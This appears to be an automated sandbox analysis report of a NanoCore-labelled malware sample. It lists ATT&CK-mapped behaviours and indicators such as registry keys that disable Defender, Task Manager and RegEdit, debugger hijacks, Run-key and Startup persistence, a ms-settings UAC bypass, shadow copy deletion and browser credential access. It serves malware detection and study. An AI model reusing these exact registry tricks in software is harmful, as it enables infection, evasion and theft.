nanocore | 46374116ee247430c43a9c16d33d4e9c7355b7e2a0929bc0d930773fb3194992

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	docask.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5036	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	docask.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	docask.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	docask.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	docask.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	docask.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4656	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	docask.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	docask.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	docask.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1164	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	docask.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	docask.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	docask.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4528	wscript.exe
4668	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	docask.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	docask.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3676	sc.exe
4616	sc.exe
2868	sc.exe
940	sc.exe
4844	sc.exe
2080	sc.exe
480	sc.exe
4752	sc.exe
5664	sc.exe
1284	sc.exe
2896	sc.exe
5944	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2260	cmd.exe
3452	cmd.exe
2476	cmd.exe
3400	cmd.exe
3048	cmd.exe
5600	cmd.exe
1244	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4564	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4164	ipconfig.exe
3896	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3060	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4120	vssadmin.exe
4800	vssadmin.exe
5716	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	docask.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307392939194144"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe"	docask.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	docask.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	docask.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	docask.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	docask.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	docask.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	docask.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	docask.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	docask.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	docask.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	docask.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	docask.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	docask.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	docask.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	docask.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\docask.io_chrome.exe\" \"%1\""	docask.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
312	schtasks.exe
2324	schtasks.exe
5464	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4308	chrome.exe
4308	chrome.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
2236	WMIC.exe
2236	WMIC.exe
2236	WMIC.exe
2236	WMIC.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
824	WMIC.exe
824	WMIC.exe
824	WMIC.exe
824	WMIC.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
1556	WMIC.exe
1556	WMIC.exe
1556	WMIC.exe
1556	WMIC.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe
3824	docask.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3824	docask.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeShutdownPrivilege	4308	chrome.exe
Token: SeCreatePagefilePrivilege	4308	chrome.exe
Token: SeIncreaseQuotaPrivilege	2236	WMIC.exe
Token: SeSecurityPrivilege	2236	WMIC.exe
Token: SeTakeOwnershipPrivilege	2236	WMIC.exe
Token: SeLoadDriverPrivilege	2236	WMIC.exe
Token: SeSystemProfilePrivilege	2236	WMIC.exe
Token: SeSystemtimePrivilege	2236	WMIC.exe
Token: SeProfSingleProcessPrivilege	2236	WMIC.exe
Token: SeIncBasePriorityPrivilege	2236	WMIC.exe
Token: SeCreatePagefilePrivilege	2236	WMIC.exe
Token: SeBackupPrivilege	2236	WMIC.exe
Token: SeRestorePrivilege	2236	WMIC.exe
Token: SeShutdownPrivilege	2236	WMIC.exe
Token: SeDebugPrivilege	2236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2236	WMIC.exe
Token: SeRemoteShutdownPrivilege	2236	WMIC.exe
Token: SeUndockPrivilege	2236	WMIC.exe
Token: SeManageVolumePrivilege	2236	WMIC.exe
Token: 33	2236	WMIC.exe
Token: 34	2236	WMIC.exe
Token: 35	2236	WMIC.exe
Token: 36	2236	WMIC.exe
Token: SeBackupPrivilege	2528	vssvc.exe
Token: SeRestorePrivilege	2528	vssvc.exe
Token: SeAuditPrivilege	2528	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2236	WMIC.exe
Token: SeSecurityPrivilege	2236	WMIC.exe
Token: SeTakeOwnershipPrivilege	2236	WMIC.exe
Token: SeLoadDriverPrivilege	2236	WMIC.exe
Token: SeSystemProfilePrivilege	2236	WMIC.exe
Token: SeSystemtimePrivilege	2236	WMIC.exe
Token: SeProfSingleProcessPrivilege	2236	WMIC.exe
Token: SeIncBasePriorityPrivilege	2236	WMIC.exe
Token: SeCreatePagefilePrivilege	2236	WMIC.exe
Token: SeBackupPrivilege	2236	WMIC.exe
Token: SeRestorePrivilege	2236	WMIC.exe
Token: SeShutdownPrivilege	2236	WMIC.exe
Token: SeDebugPrivilege	2236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2236	WMIC.exe
Token: SeRemoteShutdownPrivilege	2236	WMIC.exe
Token: SeUndockPrivilege	2236	WMIC.exe
Token: SeManageVolumePrivilege	2236	WMIC.exe
Token: 33	2236	WMIC.exe
Token: 34	2236	WMIC.exe
Token: 35	2236	WMIC.exe
Token: 36	2236	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe
4308	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3824	docask.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3824 wrote to memory of 4308	3824	docask.io_chrome.exe	89
PID 4308 wrote to memory of 52	4308	chrome.exe	90
PID 3824 wrote to memory of 5036	3824	docask.io_chrome.exe	91
PID 3824 wrote to memory of 3676	3824	docask.io_chrome.exe	93
PID 4308 wrote to memory of 4564	4308	chrome.exe	97
PID 4308 wrote to memory of 4756	4308	chrome.exe	98
PID 4308 wrote to memory of 4756	4308	chrome.exe	98
PID 4308 wrote to memory of 2844	4308	chrome.exe	99
PID 4308 wrote to memory of 2844	4308	chrome.exe	99
PID 3824 wrote to memory of 4752	3824	docask.io_chrome.exe	179
PID 4308 wrote to memory of 4956	4308	chrome.exe	100
PID 4308 wrote to memory of 3940	4308	chrome.exe	101
PID 4308 wrote to memory of 4956	4308	chrome.exe	100
PID 4308 wrote to memory of 3940	4308	chrome.exe	101
PID 3824 wrote to memory of 4616	3824	docask.io_chrome.exe	103
PID 3824 wrote to memory of 5664	3824	docask.io_chrome.exe	105
PID 3824 wrote to memory of 1284	3824	docask.io_chrome.exe	107
PID 4308 wrote to memory of 3012	4308	chrome.exe	169
PID 4308 wrote to memory of 3012	4308	chrome.exe	169
PID 4308 wrote to memory of 3196	4308	chrome.exe	109
PID 4308 wrote to memory of 3196	4308	chrome.exe	109
PID 3824 wrote to memory of 2868	3824	docask.io_chrome.exe	111
PID 3824 wrote to memory of 940	3824	docask.io_chrome.exe	113
PID 3824 wrote to memory of 4844	3824	docask.io_chrome.exe	115
PID 3824 wrote to memory of 4920	3824	docask.io_chrome.exe	117
PID 3824 wrote to memory of 2896	3824	docask.io_chrome.exe	118
PID 3824 wrote to memory of 5944	3824	docask.io_chrome.exe	164
PID 3824 wrote to memory of 4800	3824	docask.io_chrome.exe	122
PID 3824 wrote to memory of 2236	3824	docask.io_chrome.exe	199
PID 4920 wrote to memory of 4596	4920	fodhelper.exe	126
PID 3824 wrote to memory of 4528	3824	docask.io_chrome.exe	132
PID 3824 wrote to memory of 2324	3824	docask.io_chrome.exe	133
PID 3824 wrote to memory of 5464	3824	docask.io_chrome.exe	135
PID 3824 wrote to memory of 3048	3824	docask.io_chrome.exe	140
PID 3824 wrote to memory of 5600	3824	docask.io_chrome.exe	142
PID 3824 wrote to memory of 1244	3824	docask.io_chrome.exe	143
PID 3824 wrote to memory of 2260	3824	docask.io_chrome.exe	144
PID 3824 wrote to memory of 3452	3824	docask.io_chrome.exe	145
PID 3824 wrote to memory of 2476	3824	docask.io_chrome.exe	146
PID 3824 wrote to memory of 3400	3824	docask.io_chrome.exe	147
PID 3824 wrote to memory of 312	3824	docask.io_chrome.exe	152
